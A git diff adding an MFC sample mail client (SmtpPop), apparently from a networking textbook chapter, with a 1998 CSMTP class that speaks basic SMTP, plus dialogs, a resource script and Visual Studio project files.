CString m_soursemail; + CString m_desmail; + //}}AFX_DATA + + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CPop3Dlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + + // Generated message map functions + //{{AFX_MSG(CPop3Dlg) + afx_msg void OnCancal(); + afx_msg void OnReceive(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_POP3DLG_H__69F39318_E47B_4FC1_B1F9_0BD3D435F5FA__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SMTP.cpp" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SMTP.cpp" new file mode 100644 index 0000000..70b628e --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SMTP.cpp" @@ -0,0 +1,262 @@ +// SMTP.cpp: implementation of the CSMTP class. +// Copyright (c) 1998, Wes Clyburn +// +// Adapted to modified CMailMessage class +// Copyright (c) 1998 Michael Krebs +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "SMTP.h" + +#ifdef _DEBUG +#undef THIS_FILE +static char THIS_FILE[]=__FILE__; +#define new DEBUG_NEW +#endif + +// Static member initializers +// + +// Note: the order of the entries is important. +// They must be synchronized with eResponse entries. +CSMTP::response_code CSMTP::response_table[] = +{ + { 250, "SMTP server error" }, // GENERIC_SUCCESS + { 220, "SMTP server not available" }, // CONNECT_SUCCESS + { 354, "SMTP server not ready for data" }, // DATA_SUCCESS + { 221, "SMTP server didn't terminate session" } // QUIT_SUCCESS +}; + + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CSMTP::CSMTP( LPCTSTR szSMTPServerName, UINT nPort ) +{ + ASSERT( szSMTPServerName != NULL ); + AfxSocketInit(); + m_sMailerName = _T( "WC Mail" ); + m_sSMTPServerHostName = szSMTPServerName; + m_nPort = nPort; + m_bConnected = FALSE; + m_sError = _T( "OK" ); +} + +CSMTP::~CSMTP() +{ + if( m_bConnected ) + Disconnect(); +} + +CString CSMTP::GetServerHostName() +{ + return m_sSMTPServerHostName; +} + +BOOL CSMTP::Connect() +{ + CString sHello; + TCHAR local_host[ 80 ]; // Warning: arbitrary size + if( m_bConnected ) + return TRUE; + + if( !m_wsSMTPServer.Create() ) + { + m_sError = _T( "Unable to create the socket." ); + return FALSE; + } + if( !m_wsSMTPServer.Connect( GetServerHostName(), GetPort() ) ) + { + m_sError = _T( "Unable to connect to server" ); + m_wsSMTPServer.Close(); + return FALSE; + } + if( !get_response( CONNECT_SUCCESS ) ) + { + m_sError = _T( "Server didn't respond." ); + m_wsSMTPServer.Close(); + return FALSE; + } + gethostname( local_host, 80 ); + sHello.Format( "HELO %s\r\n", local_host ); + m_wsSMTPServer.Send( (LPCTSTR)sHello, sHello.GetLength() ); + if( !get_response( GENERIC_SUCCESS ) ) + { + m_wsSMTPServer.Close(); + return FALSE; + } + m_bConnected = TRUE; + return TRUE; +} + +BOOL CSMTP::Disconnect() +{ + BOOL ret; + if( !m_bConnected ) + return TRUE; + // Disconnect gracefully from the server and close the socket + CString sQuit = _T( "QUIT\r\n" ); + m_wsSMTPServer.Send( (LPCTSTR)sQuit, sQuit.GetLength() ); + + // No need to check return value here. + // If it fails, the message is available with GetLastError + ret = get_response( QUIT_SUCCESS ); + m_wsSMTPServer.Close(); + + m_bConnected = FALSE; + return ret; +} + +UINT CSMTP::GetPort() +{ + return m_nPort; +} + +CString CSMTP::GetMailerName() +{ + return m_sMailerName; +} + +CString CSMTP::GetLastError() +{ + return m_sError; +} + +BOOL CSMTP::SendMessage(CMailMessage * msg) +{ + ASSERT( msg != NULL ); + if( !m_bConnected ) + { + m_sError = _T( "Must be connected" ); + return FALSE; + } + if( FormatMailMessage( msg ) == FALSE ) + { + return FALSE; + } + if( transmit_message( msg ) == FALSE ) + { + return FALSE; + } + return TRUE; +} + +BOOL CSMTP::FormatMailMessage( CMailMessage* msg ) +{ + ASSERT( msg != NULL ); + if( msg->EncodeHeader() == FALSE ) + { + return FALSE; + } + + msg->EncodeBody(); + + // Append a CR/LF to body if necessary. + if( msg->m_sBody.Right( 2 ) != "\r\n" ) + msg->m_sBody += "\r\n"; + return TRUE; +} + +void CSMTP::SetServerProperties( LPCTSTR sServerHostName, UINT nPort) +{ + ASSERT( sServerHostName != NULL ); + // Needs to be safe in non-debug too + if( sServerHostName == NULL ) + return; + m_sSMTPServerHostName = sServerHostName; + m_nPort = nPort; +} + + +BOOL CSMTP::transmit_message(CMailMessage * msg) +{ + CString sFrom; + CString sTo; + CString sTemp; + CString sEmail; + + ASSERT( msg != NULL ); + if( !m_bConnected ) + { + m_sError = _T( "Must be connected" ); + return FALSE; + } + + // Send the MAIL command + // + sFrom.Format( "MAIL From: <%s>\r\n", (LPCTSTR)msg->m_sFrom ); + m_wsSMTPServer.Send( (LPCTSTR)sFrom, sFrom.GetLength() ); + if( !get_response( GENERIC_SUCCESS ) ) + return FALSE; + + // Send RCPT commands (one for each recipient) + // + for( int i = 0; i < msg->GetNumRecipients(); i++ ) + { + msg->GetRecipient( sEmail, sTemp, i ); + sTo.Format( "RCPT TO: <%s>\r\n", (LPCTSTR)sEmail ); + m_wsSMTPServer.Send( (LPCTSTR)sTo, sTo.GetLength() ); + get_response( GENERIC_SUCCESS ); + } + + // Send the DATA command + sTemp = "DATA\r\n"; + m_wsSMTPServer.Send( (LPCTSTR)sTemp, sTemp.GetLength() ); + if( !get_response( DATA_SUCCESS ) ) + { + return FALSE; + } + // Send the header + // + m_wsSMTPServer.Send( (LPCTSTR)msg->m_sHeader, msg->m_sHeader.GetLength() ); + + //Insert additional headers here ! + sTemp="X-Mailer: CSMTP class for MFC\r\n"; + m_wsSMTPServer.Send( (LPCTSTR)sTemp, sTemp.GetLength() ); + + //Empty line + sTemp="\r\n"; + m_wsSMTPServer.Send( (LPCTSTR)sTemp, sTemp.GetLength() ); + + // Send the body + // + m_wsSMTPServer.Send( (LPCTSTR)msg->m_sBody, msg->m_sBody.GetLength() ); + + // Signal end of data + // + sTemp = "\r\n.\r\n"; + m_wsSMTPServer.Send( (LPCTSTR)sTemp, sTemp.GetLength() ); + if( !get_response( GENERIC_SUCCESS ) ) + { + return FALSE; + } + return TRUE; +} + +BOOL CSMTP::get_response( UINT response_expected ) +{ + ASSERT( response_expected >= GENERIC_SUCCESS ); + ASSERT( response_expected < LAST_RESPONSE ); + + CString sResponse; + UINT response; + response_code* pResp; // Shorthand + + if( m_wsSMTPServer.Receive( response_buf, RESPONSE_BUFFER_SIZE ) == SOCKET_ERROR ) + { + m_sError = _T( "Socket Error" ); + return FALSE; + } + sResponse = response_buf; + sscanf( (LPCTSTR)sResponse.Left( 3 ), "%d", &response ); + pResp = &response_table[ response_expected ]; + if( response != pResp->nResponse ) + { + m_sError.Format( "%d:%s", response, (LPCTSTR)pResp->sMessage ); + return FALSE; + } + return TRUE; +} + + diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SMTP.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SMTP.h" new file mode 100644 index 0000000..0ac65b5 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SMTP.h" @@ -0,0 +1,71 @@ +// SMTP.h: interface for the CSMTP class. +// Copyright (c) 1998, Wes Clyburn +// +// Adapted to modified CMailMessage class +// Copyright (c) 1998 Michael Krebs +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_SMTP_H__55DE48CB_BEA4_11D1_870E_444553540000__INCLUDED_) +#define AFX_SMTP_H__55DE48CB_BEA4_11D1_870E_444553540000__INCLUDED_ + +#if _MSC_VER >= 1000 +#pragma once +#endif // _MSC_VER >= 1000 + +#include +#include "MailMessage.h" + +#define SMTP_PORT 25 // Standard port for SMTP servers +#define RESPONSE_BUFFER_SIZE 1024 + +class CSMTP +{ +public: + CSMTP( LPCTSTR szSMTPServerName, UINT nPort = SMTP_PORT ); + virtual ~CSMTP(); + + void SetServerProperties( LPCTSTR sServerHostName, UINT nPort = SMTP_PORT ); + CString GetLastError(); + CString GetMailerName(); + UINT GetPort(); + BOOL Disconnect(); + BOOL Connect(); + virtual BOOL FormatMailMessage( CMailMessage* msg ); + BOOL SendMessage( CMailMessage* msg ); + CString GetServerHostName(); + +private: + BOOL get_response( UINT response_expected ); + BOOL transmit_message( CMailMessage* msg ); + + CString m_sError; + BOOL m_bConnected; + UINT m_nPort; + CString m_sMailerName; + CString m_sSMTPServerHostName; + CSocket m_wsSMTPServer; +protected: + +// +// Helper Code +// + struct response_code + { + UINT nResponse; // Response we're looking for + TCHAR* sMessage; // Error message if we don't get it + }; + + enum eResponse + { + GENERIC_SUCCESS = 0, + CONNECT_SUCCESS, + DATA_SUCCESS, + QUIT_SUCCESS, + // Include any others here + LAST_RESPONSE // Do not add entries past this one + }; + TCHAR response_buf[ RESPONSE_BUFFER_SIZE ]; + static response_code response_table[]; +}; + +#endif // !defined(AFX_SMTP_H__55DE48CB_BEA4_11D1_870E_444553540000__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpDlg.cpp" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpDlg.cpp" new file mode 100644 index 0000000..bbfb1a7 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpDlg.cpp" @@ -0,0 +1,92 @@ +// SmtpDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "SmtpPop.h" +#include "SmtpDlg.h" +#include "SMTP.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CSmtpDlg dialog + + +CSmtpDlg::CSmtpDlg(CWnd* pParent /*=NULL*/) + : CDialog(CSmtpDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CSmtpDlg) + m_smtp = _T(""); + m_username = _T(""); + m_password = _T(""); + m_soursemail = _T(""); + m_desmail = _T(""); + m_subject = _T(""); + m_emailbody = _T(""); + //}}AFX_DATA_INIT +} + + +void CSmtpDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CSmtpDlg) + DDX_Text(pDX, IDC_EDIT1, m_smtp); + DDX_Text(pDX, IDC_EDIT2, m_username); + DDX_Text(pDX, IDC_EDIT3, m_password); + DDX_Text(pDX, IDC_EDIT4, m_soursemail); + DDX_Text(pDX, IDC_EDIT5, m_desmail); + DDX_Text(pDX, IDC_EDIT6, m_subject); + DDX_Text(pDX, IDC_EDIT7, m_emailbody); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CSmtpDlg, CDialog) + //{{AFX_MSG_MAP(CSmtpDlg) + ON_BN_CLICKED(IDC_SEND, OnSend) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CSmtpDlg message handlers + +void CSmtpDlg::OnSend() +{ + // TODO: Add your control notification handler code here + UpdateData( TRUE ); + CSMTP smtp( m_smtp ); + CMailMessage msg; + msg.m_sFrom = m_soursemail; + msg.AddMultipleRecipients(m_desmail ); + msg.m_sSubject = m_subject; + msg.m_sBody = m_emailbody; + if( !smtp.Connect() ) + { + AfxMessageBox( smtp.GetLastError() ); + return; + } + if( !smtp.SendMessage( &msg ) ) + { + AfxMessageBox( smtp.GetLastError() ); + return; + } + if( !smtp.Disconnect() ) + { + AfxMessageBox( smtp.GetLastError() ); + return; + } + AfxMessageBox( _T( "Message Sent Successfully") ); + +} + +void CSmtpDlg::OnCancel() +{ + // TODO: Add extra cleanup here + + CDialog::OnCancel(); +} diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpDlg.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpDlg.h" new file mode 100644 index 0000000..a3aa039 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpDlg.h" @@ -0,0 +1,52 @@ +#if !defined(AFX_SMTPDLG_H__5A58404E_D8D2_42BE_918D_C5384F6B6980__INCLUDED_) +#define AFX_SMTPDLG_H__5A58404E_D8D2_42BE_918D_C5384F6B6980__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// SmtpDlg.h : header file +// +///////////////////////////////////////////////////////////////////////////// +// CSmtpDlg dialog + +class CSmtpDlg : public CDialog +{ +// Construction +public: + CSmtpDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CSmtpDlg) + enum { IDD = IDD_SMTP_DLG }; + CString m_smtp; + CString m_username; + CString m_password; + CString m_soursemail; + CString m_desmail; + CString m_subject; + CString m_emailbody; + //}}AFX_DATA + + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CSmtpDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + + // Generated message map functions + //{{AFX_MSG(CSmtpDlg) + afx_msg void OnSend(); + virtual void OnCancel(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_SMTPDLG_H__5A58404E_D8D2_42BE_918D_C5384F6B6980__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.h" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.h" new file mode 100644 index 0000000..214cf51 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.h" @@ -0,0 +1,49 @@ +// SmtpPop.h : main header file for the SMTPPOP application +// + +#if !defined(AFX_SMTPPOP_H__1EC6B3E3_62DD_41D5_B11A_FCA7CBFCABF3__INCLUDED_) +#define AFX_SMTPPOP_H__1EC6B3E3_62DD_41D5_B11A_FCA7CBFCABF3__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#ifndef __AFXWIN_H__ + #error include 'stdafx.h' before including this file for PCH +#endif + +#include "resource.h" // main symbols + +///////////////////////////////////////////////////////////////////////////// +// CSmtpPopApp: +// See SmtpPop.cpp for the implementation of this class +// + +class CSmtpPopApp : public CWinApp +{ +public: + CSmtpPopApp(); + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CSmtpPopApp) + public: + virtual BOOL InitInstance(); + //}}AFX_VIRTUAL + +// Implementation + + //{{AFX_MSG(CSmtpPopApp) + // NOTE - the ClassWizard will add and remove member functions here. + // DO NOT EDIT what you see in these blocks of generated code ! + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + + +///////////////////////////////////////////////////////////////////////////// + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_SMTPPOP_H__1EC6B3E3_62DD_41D5_B11A_FCA7CBFCABF3__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.rc" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.rc" new file mode 100644 index 0000000..3a9d539 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.rc" @@ -0,0 +1,276 @@ +//Microsoft Developer Studio generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Chinese (Öйú) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED +#pragma code_page(936) +#endif //_WIN32 + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "#define _AFX_NO_SPLITTER_RESOURCES\r\n" + "#define _AFX_NO_OLE_RESOURCES\r\n" + "#define _AFX_NO_TRACKER_RESOURCES\r\n" + "#define _AFX_NO_PROPERTY_RESOURCES\r\n" + "\r\n" + "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)\r\n" + "#ifdef _WIN32\r\n" + "LANGUAGE 4, 2\r\n" + "#pragma code_page(936)\r\n" + "#endif //_WIN32\r\n" + "#include ""res\\SmtpPop.rc2"" // non-Microsoft Visual C++ edited resources\r\n" + "#include ""l.chs\\afxres.rc"" // Standard components\r\n" + "#endif\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDR_MAINFRAME ICON DISCARDABLE "res\\SmtpPop.ico" + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_ABOUTBOX DIALOG DISCARDABLE 0, 0, 235, 55 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "¹ØÓÚ SmtpPop" +FONT 9, "ËÎÌå" +BEGIN + ICON IDR_MAINFRAME,IDC_STATIC,11,17,20,20 + LTEXT "SmtpPop 1.0 °æ",IDC_STATIC,40,10,119,8,SS_NOPREFIX + LTEXT "°æȨËùÓÐ (C) 2008",IDC_STATIC,40,25,119,8 + DEFPUSHBUTTON "È·¶¨",IDOK,178,7,50,14,WS_GROUP +END + +IDD_SMTPPOP_DIALOG DIALOGEX 0, 0, 320, 200 +STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_APPWINDOW +CAPTION "SmtpPop" +FONT 9, "ËÎÌå" +BEGIN + DEFPUSHBUTTON "È·¶¨",IDOK,65,152,50,14 + PUSHBUTTON "È¡Ïû",IDCANCEL,197,154,50,14 + PUSHBUTTON "·¢ËÍÓʼþ",IDC_SMTP,37,66,90,23 + PUSHBUTTON "½ÓÊÜÓʼþ",IDC_POP3,157,66,90,23 + LTEXT "Óʼþ·¢ËÍϵͳ",IDC_STATIC,107,30,55,21 +END + +IDD_SMTP_DLG DIALOG DISCARDABLE 0, 0, 282, 190 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "·¢ËÍÓʼþ" +FONT 10, "System" +BEGIN + PUSHBUTTON "È¡Ïû",IDCANCEL,154,169,50,14 + PUSHBUTTON "·¢ËÍ",IDC_SEND,61,167,49,16 + GROUPBOX "ÅäÖÃ",IDC_STATIC,7,14,261,55 + GROUPBOX "Óʼþ",IDC_STATIC,15,70,189,92 + LTEXT "·þÎñÆ÷Ãû£º",IDC_STATIC,91,23,41,8 + LTEXT "Óû§Ãû£º",IDC_STATIC,30,42,33,8 + LTEXT "FROM:",IDC_STATIC,31,53,23,8 + EDITTEXT IDC_EDIT1,135,21,60,12,ES_AUTOHSCROLL + EDITTEXT IDC_EDIT2,65,38,84,12,ES_AUTOHSCROLL + EDITTEXT IDC_EDIT4,64,52,86,12,ES_AUTOHSCROLL + EDITTEXT IDC_EDIT3,183,38,81,13,ES_PASSWORD | ES_AUTOHSCROLL + EDITTEXT IDC_EDIT5,183,53,81,13,ES_AUTOHSCROLL + LTEXT "ÃÜÂ룺",IDC_STATIC,154,42,25,9 + LTEXT "TO:",IDC_STATIC,157,56,14,9 + LTEXT "Óʼþ±êÌ⣺",IDC_STATIC,24,89,47,10 + EDITTEXT IDC_EDIT6,74,86,96,13,ES_AUTOHSCROLL + LTEXT "ÓʼþÄÚÈÝ£º",IDC_STATIC,23,104,46,13 + EDITTEXT IDC_EDIT7,74,108,122,49,ES_AUTOHSCROLL + GROUPBOX "״̬",IDC_STATIC,216,77,53,100 +END + +IDD_POP_DLG DIALOG DISCARDABLE 0, 0, 294, 247 +STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "½ÓÊÜÓʼþ" +FONT 10, "System" +BEGIN + LTEXT "·þÎñÆ÷Ãû:",IDC_STATIC,87,19,34,14 + EDITTEXT IDC_EDIT1,136,18,76,15,ES_AUTOHSCROLL + GROUPBOX "ÅäÖÃ",IDC_STATIC,7,7,280,82 + LTEXT "Óû§Ãû:",IDC_STATIC,31,47,35,10 + EDITTEXT IDC_EDIT2,68,42,84,15,ES_AUTOHSCROLL + LTEXT "ÃÜÂë:",IDC_STATIC,161,45,24,12 + EDITTEXT IDC_EDIT3,189,42,67,15,ES_PASSWORD | ES_AUTOHSCROLL + GROUPBOX "ÓʼþÐÅÏ¢",IDC_STATIC,7,93,280,105 + LTEXT "Ö÷Ìâ:",IDC_STATIC,25,104,24,11 + EDITTEXT IDC_EDIT4,62,101,154,14,ES_AUTOHSCROLL + LTEXT "ÄÚÈÝ:",IDC_STATIC,26,121,22,11 + EDITTEXT IDC_EDIT5,53,124,181,64,ES_AUTOHSCROLL + PUSHBUTTON "½ÓÊÕ",IDC_REC,38,207,60,15 + PUSHBUTTON "È¡Ïû",IDC_CANCAL,146,207,60,15 + EDITTEXT IDC_EDIT6,249,122,27,13,ES_AUTOHSCROLL + LTEXT "±àºÅ:",IDC_STATIC,242,102,30,11 + LTEXT "À´×Ô:",IDC_STATIC,24,69,22,12 + EDITTEXT IDC_EDIT7,53,68,86,13,ES_AUTOHSCROLL + LTEXT "µ½:",IDC_STATIC,154,69,18,12 + EDITTEXT IDC_EDIT8,182,68,87,13,ES_AUTOHSCROLL +END + + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,0,0,1 + PRODUCTVERSION 1,0,0,1 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x4L + FILETYPE 0x1L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080404B0" + BEGIN + VALUE "CompanyName", "\0" + VALUE "FileDescription", "SmtpPop Microsoft »ù´¡ÀàÓ¦ÓóÌÐò\0" + VALUE "FileVersion", "1, 0, 0, 1\0" + VALUE "InternalName", "SmtpPop\0" + VALUE "LegalCopyright", "°æȨËùÓÐ (C) 2008\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "SmtpPop.EXE\0" + VALUE "ProductName", "SmtpPop Ó¦ÓóÌÐò\0" + VALUE "ProductVersion", "1, 0, 0, 1\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x804, 1200 + END +END + +#endif // !_MAC + + +///////////////////////////////////////////////////////////////////////////// +// +// DESIGNINFO +// + +#ifdef APSTUDIO_INVOKED +GUIDELINES DESIGNINFO DISCARDABLE +BEGIN + IDD_ABOUTBOX, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 228 + TOPMARGIN, 7 + BOTTOMMARGIN, 48 + END + + IDD_SMTPPOP_DIALOG, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 313 + TOPMARGIN, 7 + BOTTOMMARGIN, 193 + END + + IDD_SMTP_DLG, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 275 + TOPMARGIN, 7 + BOTTOMMARGIN, 183 + END + + IDD_POP_DLG, DIALOG + BEGIN + LEFTMARGIN, 7 + RIGHTMARGIN, 287 + TOPMARGIN, 7 + BOTTOMMARGIN, 240 + END +END +#endif // APSTUDIO_INVOKED + + +///////////////////////////////////////////////////////////////////////////// +// +// String Table +// + +STRINGTABLE DISCARDABLE +BEGIN + IDS_ABOUTBOX "¹ØÓÚ SmtpPop(&A)..." +END + +#endif // Chinese (Öйú) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// +#define _AFX_NO_SPLITTER_RESOURCES +#define _AFX_NO_OLE_RESOURCES +#define _AFX_NO_TRACKER_RESOURCES +#define _AFX_NO_PROPERTY_RESOURCES + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE 4, 2 +#pragma code_page(936) +#endif //_WIN32 +#include "res\SmtpPop.rc2" // non-Microsoft Visual C++ edited resources +#include "l.chs\afxres.rc" // Standard components +#endif + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.sln" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.sln" new file mode 100644 index 0000000..8d36250 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.sln" @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SmtpPop", "SmtpPop.vcproj", "{11BCE6B2-793D-4CCE-B0CD-C5739719D1BC}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {11BCE6B2-793D-4CCE-B0CD-C5739719D1BC}.Debug|Win32.ActiveCfg = Debug|Win32 + {11BCE6B2-793D-4CCE-B0CD-C5739719D1BC}.Debug|Win32.Build.0 = Debug|Win32 + {11BCE6B2-793D-4CCE-B0CD-C5739719D1BC}.Release|Win32.ActiveCfg = Release|Win32 + {11BCE6B2-793D-4CCE-B0CD-C5739719D1BC}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.suo" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.suo" new file mode 100644 index 0000000..16f5a0c Binary files /dev/null and "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.suo" differ diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.vcproj" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.vcproj" new file mode 100644 index 0000000..10df017 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPop.vcproj" @@ -0,0 +1,460 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPopDlg.cpp" "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPopDlg.cpp" new file mode 100644 index 0000000..e25dcfc --- /dev/null +++ "b/Project/Network and Communication/\347\254\25414\347\253\240/SmtpPop/SmtpPopDlg.cpp" @@ -0,0 +1,190 @@ +// SmtpPopDlg.cpp : implementation file +// + +#include "stdafx.h" +#include "SmtpPop.h" +#include "SmtpPopDlg.h" + +#include "SmtpDlg.h" +#include "POP3.h" +#include "Pop3Dlg.h" +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CAboutDlg dialog used for App About + +class CAboutDlg : public CDialog +{ +public: + CAboutDlg(); + +// Dialog Data + //{{AFX_DATA(CAboutDlg) + enum { IDD = IDD_ABOUTBOX }; + //}}AFX_DATA + + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CAboutDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + //{{AFX_MSG(CAboutDlg) + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) +{ + //{{AFX_DATA_INIT(CAboutDlg) + //}}AFX_DATA_INIT +} + +void CAboutDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CAboutDlg) + //}}AFX_DATA_MAP +} + +BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) + //{{AFX_MSG_MAP(CAboutDlg) + // No message handlers + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CSmtpPopDlg dialog + +CSmtpPopDlg::CSmtpPopDlg(CWnd* pParent /*=NULL*/) + : CDialog(CSmtpPopDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CSmtpPopDlg) + // NOTE: the ClassWizard will 